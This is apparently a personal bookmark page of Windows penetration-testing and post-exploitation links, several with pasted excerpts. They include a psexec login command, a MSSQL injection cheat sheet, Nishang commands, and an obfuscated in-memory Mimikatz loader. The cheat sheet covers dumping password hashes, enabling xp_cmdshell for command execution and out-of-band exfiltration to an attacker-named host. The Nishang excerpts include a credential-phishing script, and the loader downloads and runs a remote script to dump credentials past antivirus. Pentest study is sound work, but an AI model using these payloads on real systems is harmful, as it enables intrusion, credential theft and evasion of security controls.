776 links
  • Shared Bookmarks
  • Home
  • Login
  • RSS Feed
  • ATOM Feed
  • Tag cloud
  • Picture wall
  • Daily
Links per page: 20 50 100
10 results tagged post x
  • thumbnail
    A Virgil's Guide to Pentest: Escalation Time
    March 31, 2019 at 7:17:11 PM UTC - permalink -
    QRCode
    - http://virgil-cj.blogspot.com/2018/02/escalation-time.html
    windows hacking pentest post exploitation guide howto
  • thumbnail
    PowerUp: A Usage Guide – harmj0y
    March 31, 2019 at 7:04:32 PM UTC - permalink -
    QRCode
    - https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
    powerup powershell windows exploitation post hacking pentest
  • thumbnail
    Using Credentials to Own Windows Boxes (from Kali)

    psexec.py 'DOMAIN\user:passw0rd1!'@10.10.10.10

    March 31, 2019 at 7:03:07 PM UTC - permalink -
    QRCode
    - https://blog.ropnop.com/using-credentials-to-own-windows-boxes/
    psexec smb windows hacking post exploitation revshell
  • thumbnail
    Windows Privilege Escalation Guide

    Script https://github.com/absolomb/WindowsEnum

    March 30, 2019 at 2:51:49 PM UTC - permalink -
    QRCode
    - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
    windows privilege escalation guide post hacking pentest
  • thumbnail
    MSSQL Injection Cheat Sheet | pentestmonkey
    March 28, 2019 at 1:38:44 PM UTC - permalink -
    QRCode
    - http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
    cheatsheet mssql sql injection enumeration enum post exploitation privilege escalation hacking pentest windows
  • thumbnail
    SQL Injection Cheat Sheet: MSSQL — GracefulSecurity
    Version
    SELECT @@version;
    SELECT @@VERSION LIKE '%2008%';
    
    User details
    SELECT user;
    SELECT current_user;
    SELECT SYSTEM_USER;
    SELECT USER_NAME();
    SELECT USER_NAME(2);
    SELECT SUSER_SNAME();
    SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
    SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
    
    Database details
    SELECT DB_NAME();
    SELECT DB_NAME(5);
    SELECT name FROM master..sysdatabases;
    
    Database credentials
    SELECT name %2b ':'  %2b master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;
    
    Server details
    SELECT @@servername; SELECT host_name(); SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel');
    
    Table Names
    SELECT name FROM master..sysobjects WHERE xtype='U';
    SELECT table_name FROM information_schema.tables;
    
    Columns Names
    SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename';
    SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';
    
    No Quotes
    SELECT * FROM Users WHERE username = CHAR(97) + CHAR(98) + CHAR(99);
    ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) = 97;
    ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) < 128;
    
    String Concatenation
    SELECT CONCAT('a','a','a');
    SELECT 'a' %2b 'b' %2b 'c' %2b 'd';
    
    Conditionals
    IF 1=1 SELECT 'true' ELSE SELECT 'false';
    SELECT CASE WHEN 1=1 THEN true ELSE false END;
    
    Time-delay
    WAITFOR DELAY 'time_to_pass';
    WAITFOR TIME 'time_to_execute';
    
    Enable Command Execution
    EXEC sp_configure 'show advanced options', 1;
    EXEC sp_configure reconfigure;
    EXEC sp_configure 'xp_cmdshell', 1;
    EXEC sp_configure reconfigure;
    
    Command Execution
    EXEC master.dbo.xp_cmdshell 'cmd';
    
    Enable Alternative Command Execution
    EXEC sp_configure 'show advanced options', 1;
    EXEC sp_configure reconfigure;
    EXEC sp_configure 'OLE Automation Procedures', 1;
    EXEC sp_configure reconfigure;
    
    Alternative Command Execution
    DECLARE @execmd INT;
    EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
    EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';
    
    "RunAs"
    SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
    EXECUTE AS USER = 'FooUser';
    
    Read Files
    BULK INSERT dbo.temp FROM 'c:\foobar.txt' WITH ( ROWTERMINATOR='n' );
    
    Out-of-Band Retrieval
    ;declare @q varchar(200);set @q='\attacker.controlledserver'+(SELECT SUBSTRING(@@version,1,9))+'.malicious.com/foo'; exec master.dbo.xp_dirtree @q; --  
    
    Substrings
    SUBSTRING(table_name,1,1) FROM information_schema.tables = 'A';
    ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables > 96;
    
    Retrieve Nth Line
    SELECT TOP 1 table_name FROM information_schema.tables;
    SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables);
    March 28, 2019 at 1:36:53 PM UTC - permalink -
    QRCode
    - https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
    xp_cmdshell windows cheatsheet exploitation post postexploitation mssql sql injection enumeration enum hacking pentest
  • FuzzySecurity | Windows Privilege Escalation Fundamentals
    March 7, 2019 at 7:16:45 PM UTC * - permalink -
    QRCode
    - https://www.fuzzysecurity.com/tutorials/16.html
    windows hacking post exploitation postex privesc privilege escalation fuzzy cheatsheet
  • thumbnail
    Nishang: A Post-Exploitation Framework

    Port-Scan

    Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Port-Scan.ps1’; Port-Scan –StartAddress 192.168.56.101 –Endaddress 192.168.56.105 –ResolveHost -ScanPort }”

    Remove-Update

    Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Remove-Update.ps1’; Remove-Update KB2534366}”

    Invoke-CredentialsPhish

    Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Invoke-CredentialsPhish.ps1’; Invoke-CredentialsPhish}”

    February 20, 2019 at 11:00:59 PM UTC - permalink -
    QRCode
    - https://resources.infosecinstitute.com/nishang-a-post-exploitation-framework/
    nishang scripts tool windows post exploitation postex postexploitation hacking pentest powershell
  • thumbnail
    Pwning the Enterprise With PowerShell

    PowerMeta - Discover publicly available files, extract metadata, provide information about internal username schema, system names, domain info ... https://github.com/dathack/PowerMeta
    MailSniper, powercat, empire, unicorn, dnscat2-powershell, invoke-powershellicmp, ...

    February 20, 2019 at 10:17:58 PM UTC - permalink -
    QRCode
    - https://fr.slideshare.net/dafthack/pwning-the-enterprise-with-powershell
    powersploit powershell windows exploitation post postex postexploitation tools mimikatz powermeta mailsniper empire unicorn
  • thumbnail
    geoda: Running an Obfuscated version of Mimikatz in Memory to bypass AntiVirus and other host based controls

    https://github.com/danielbohannon/Invoke-Obfuscation

    PS > Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation
    Invoke-Obfuscation > set SCRIPTBLOCK "iEX (New-Object System.Net.WebClient).DownloadString('https://<IP>:<PORT>/obfuscated.ps1'); Invoke-Mimidogz -DumpCred
    ...
    February 20, 2019 at 2:24:52 PM UTC - permalink -
    QRCode
    - https://blog.geoda-security.com/2018/05/running-obfuscated-version-of-mimikatz.html
    powershell mimikatz postexploitation postex post exploitation obfuscation kiwi
Links per page: 20 50 100
Shaarli - The personal, minimalist, super fast, database-free, bookmarking service by the Shaarli community - Help/documentation